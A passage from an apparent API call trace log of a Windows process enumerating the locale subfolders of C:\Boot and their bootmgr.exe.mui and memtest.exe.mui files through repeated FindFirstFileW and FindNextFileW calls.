out: lpFindFileData=0x348f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0135.071] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x348f584 | out: lpFindFileData=0x348f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 1 [0135.071] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x348f584 | out: lpFindFileData=0x348f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 0 [0135.071] FindClose (in: hFindFile=0x69abc8 | out: hFindFile=0x69abc8) returned 1 [0135.071] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0135.071] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0135.071] FindClose (in: hFindFile=0x69af88 | out: hFindFile=0x69af88) returned 1 [0135.071] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.071] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0135.071] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69adc8 [0135.071] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.071] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.071] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0135.071] FindClose (in: hFindFile=0x69adc8 | out: hFindFile=0x69adc8) returned 1 [0135.071] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.071] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0135.071] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69adc8 [0135.071] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.072] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.072] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.072] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.072] FindClose (in: hFindFile=0x69adc8 | out: hFindFile=0x69adc8) returned 1 [0135.072] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.072] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0135.072] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69adc8 [0135.072] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.072] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.072] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0135.072] FindClose (in: hFindFile=0x69adc8 | out: hFindFile=0x69adc8) returned 1 [0135.072] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.072] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0135.072] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b088 [0135.072] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.072] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.072] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0135.073] FindClose (in: hFindFile=0x69b088 | out: hFindFile=0x69b088) returned 1 [0135.073] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.073] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0135.073] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b248 [0135.073] FindNextFileW (in: hFindFile=0x69b248, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.073] FindNextFileW (in: hFindFile=0x69b248, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.073] FindNextFileW (in: hFindFile=0x69b248, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.073] FindNextFileW (in: hFindFile=0x69b248, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.073] FindClose (in: hFindFile=0x69b248 | out: hFindFile=0x69b248) returned 1 [0135.073] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.073] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0135.073] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b2c8 [0135.073] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.073] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.073] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0135.073] FindClose (in: hFindFile=0x69b2c8 | out: hFindFile=0x69b2c8) returned 1 [0135.073] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.074] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0135.074] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b308 [0135.074] FindNextFileW (in: hFindFile=0x69b308, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.074] FindNextFileW (in: hFindFile=0x69b308, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.074] FindNextFileW (in: hFindFile=0x69b308, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.074] FindNextFileW (in: hFindFile=0x69b308, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.074] FindClose (in: hFindFile=0x69b308 | out: hFindFile=0x69b308) returned 1 [0135.074] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.074] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0135.074] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69aec8 [0135.074] FindNextFileW (in: hFindFile=0x69aec8, 